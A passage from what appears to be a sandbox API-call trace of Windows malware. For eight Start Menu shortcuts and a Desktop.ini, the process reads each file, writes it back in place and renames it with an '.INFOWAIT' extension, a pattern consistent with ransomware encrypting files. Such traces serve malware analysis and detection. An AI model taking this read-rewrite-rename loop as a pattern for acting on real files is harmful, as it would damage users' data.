dwFreeType=0x8000) returned 1 [0132.896] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.896] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.896] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x547 [0132.896] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.897] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.897] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x547, lpOverlapped=0x0) returned 1 [0132.899] VirtualAlloc (lpAddress=0x0, dwSize=0x547, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.899] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.899] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x547, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x547, lpOverlapped=0x0) returned 1 [0132.899] CloseHandle (hObject=0xad0) returned 1 [0132.899] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" [0132.899] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk.INFOWAIT" [0132.899] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk.infowait")) returned 1 [0132.900] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.900] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.900] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.901] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.901] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e6 [0132.901] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.901] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.901] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e6, lpOverlapped=0x0) returned 1 [0132.903] VirtualAlloc (lpAddress=0x0, dwSize=0x4e6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.903] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.903] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e6, lpOverlapped=0x0) returned 1 [0132.903] CloseHandle (hObject=0xad0) returned 1 [0132.903] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" [0132.903] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk.INFOWAIT" [0132.903] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk.infowait")) returned 1 [0132.904] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.905] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.905] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.905] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.905] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e0 [0132.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.905] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.905] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e0, lpOverlapped=0x0) returned 1 [0132.907] VirtualAlloc (lpAddress=0x0, dwSize=0x4e0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.907] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.907] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e0, lpOverlapped=0x0) returned 1 [0132.908] CloseHandle (hObject=0xad0) returned 1 [0132.908] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" [0132.908] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.INFOWAIT" [0132.908] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk.infowait")) returned 1 [0132.913] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.914] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.914] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.915] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x53a [0132.915] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.915] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.915] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x53a, lpOverlapped=0x0) returned 1 [0132.916] VirtualAlloc (lpAddress=0x0, dwSize=0x53a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.916] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.916] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x53a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x53a, lpOverlapped=0x0) returned 1 [0132.916] CloseHandle (hObject=0xad0) returned 1 [0132.916] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" [0132.917] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini.INFOWAIT" [0132.917] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini.infowait")) returned 1 [0132.917] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.918] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.918] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.919] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50a [0132.919] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.919] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.919] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x50a, lpOverlapped=0x0) returned 1 [0132.921] VirtualAlloc (lpAddress=0x0, dwSize=0x50a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.921] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.921] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x50a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x50a, lpOverlapped=0x0) returned 1 [0132.921] CloseHandle (hObject=0xad0) returned 1 [0132.921] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" [0132.921] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk.INFOWAIT" [0132.921] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk.infowait")) returned 1 [0132.922] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.922] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.923] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.923] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.923] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e4 [0132.923] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.923] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.923] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e4, lpOverlapped=0x0) returned 1 [0132.927] VirtualAlloc (lpAddress=0x0, dwSize=0x4e4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.927] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.927] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e4, lpOverlapped=0x0) returned 1 [0132.927] CloseHandle (hObject=0xad0) returned 1 [0132.927] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" [0132.927] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk.INFOWAIT" [0132.927] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk.infowait")) returned 1 [0132.928] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.928] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.929] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.929] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.929] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4da [0132.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.929] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.929] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4da, lpOverlapped=0x0) returned 1 [0132.959] VirtualAlloc (lpAddress=0x0, dwSize=0x4da, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.959] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.959] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4da, lpOverlapped=0x0) returned 1 [0132.960] CloseHandle (hObject=0xad0) returned 1 [0132.960] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" [0132.960] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk.INFOWAIT" [0132.960] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk.infowait")) returned 1 [0132.960] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.961] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.961] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.961] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.961] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e2 [0132.962] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.962] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.962] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e2, lpOverlapped=0x0) returned 1 [0133.110] VirtualAlloc (lpAddress=0x0, dwSize=0x4e2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.110] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.110] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e2, lpOverlapped=0x0) returned 1 [0133.110] CloseHandle (hObject=0xad0) returned 1 [0133.110] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" [0133.110] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk.INFOWAIT" [0133.110] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk.infowait")) returned 1 [0133.111] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.112] VirtualFree 